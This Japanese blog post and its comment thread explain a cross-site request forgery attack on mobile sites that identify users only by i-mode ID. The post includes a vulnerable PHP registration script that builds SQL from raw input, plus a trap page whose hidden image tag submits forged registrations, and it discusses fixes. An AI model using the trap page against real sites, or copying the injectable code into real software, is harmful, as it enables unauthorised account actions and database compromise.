昨年、「iモードID」の送出が開始されたことにより、「iモードID」のみでユーザ認証を行う携帯サイトが増えてきました。
そして、それら携帯サイトの中に、iモードIDハイジャック(悪意もった第三者による乗っ取り操作)の被害を受けると思われるサイトが、多数散見されます。
被害を受けるサイトの条件
- ユーザ認証を「iモードID」のみで行っている。
- FORMの入力内容をPOSTメソッドで送信しているものの、受け取り側でリクエストメソッドのチェックを行っていない。もしくは、GETメソッドで送信している。
iモードIDハイジャックの方法
- 以下のような形で登録処理を行っている攻撃対象サイト(targetdomain.com)を探す。
- 以下のような、おとりサイト(mydomain.com)を作成する
- ユーザを、おとりサイトのおとりページ(http://mydomain.com/trap.php)に誘導する。
- おとりページに設置されたimgタグにより、攻撃対象サイトの登録ページ(http://targetdomain.com/register.php)へ、このユーザのiモードIDと偽の情報(ID、パスワード、メールアドレス)がGETリクエストで送信される。
- ユーザが意図しない携帯サイト(targetdomain.com)への会員登録が行われる。
[http://targetdomain.com/form.php] <html> 会員登録開始<br> IDとパスワードとメアドを入力してください<br> <form method="POST" action="register.php?guid=on"> <input type="text" name="id"><br> <input type="text" name="passwd"><br> <input type="text" name="mail">@docomo.ne.jp<br> <input type="submit" value="決定"><br> </form> </html>
[http://targetdomain.com/register.php] <?php // DBへの登録処理 $imodeid = getenv("HTTP_X_DCMGUID"); $sql = "insert into userdb " ."(imodeid,id,passwd,mail) values " ."('${imodeid}','${id}','${passwd}','${mail}')"; mysql_query($sql); ?> <html> 会員登録が完了しました。<br> </html>
[http://mydomain.com/trap.php] <html> おとりコンテンツ<br> <img src="http://targetdomain.com/register.php?guid=on&id=mpw&passwd=wpm&mail=mpwjp" width="1" height="1"><br> </html>
上に示した手順では会員登録だけですが、その他の操作も可能であると思います、
なお、「iモードID」だけではなく、「EZ番号」や「x-jphone-uid」のみでユーザー認証を行っている携帯サイトでも同様に攻撃可能です。
ちなみに、この攻撃手法の発想自体は新しいものではなく、ウェブ黎明期に流行した古典的な手法を多少改変しただけのものです。
追記:
よくよく考えると、徳丸氏からのコメントでの指摘どおり、GETリクエストにiモードIDを載せることを止めたとしてもiモードIDに関連した各種脆弱性の根本解決にはなりませんでした。
「ドコモはGETリクエストにiモードIDを載せるのを止めるべきだ」から「ドコモはiモードIDの生成方法を見直すべきだ」に訂正いたします。
そして、iモードIDは「 iモードID = hash(”親ページのドメイン名” + ”電話番号”) 」 のようなロジックで、アクセス先の親ページのドメイン名ごとに、一意に生成される仕組みが望ましいと思います。
これはアプリケーション側のCSRF脆弱性ですね。iモードIDを使ってなければただの「荒らし」ですが、iモードIDを使っている場合は端末認証されていると考えられるので、その端末認証にひもついた会員情報を勝手に登録されるという意味でCSRF脆弱性になります。
それに、iモードブラウザ2.0のJavaScriptを使えば、POSTでも攻撃可能です。
したがって、「ドコモはGETリクエストにiモードIDを載せるのを止めるべきだ」という主張は正確でないと思います。iモードIDそのものを廃止すべきだという意見であれば、納得できます。
また、そういうサイトが多そうというのは理解できますが、これはアプリケーション側で対策すべき問題です。
よく考えてみたら、ご指摘の通りでした。
iモードIDなどのユーザ識別子が、アクセス先の親ページのドメイン名ごとに一意に生成されるもの(例:ユーザ識別子 = hash(”親ページのドメイン名”+”電話番号”))で無い限り、GETリクエストにiモードIDを載せるのを止めたとしても根本解決にはなりませんでした。
ご指摘ありがとうございます。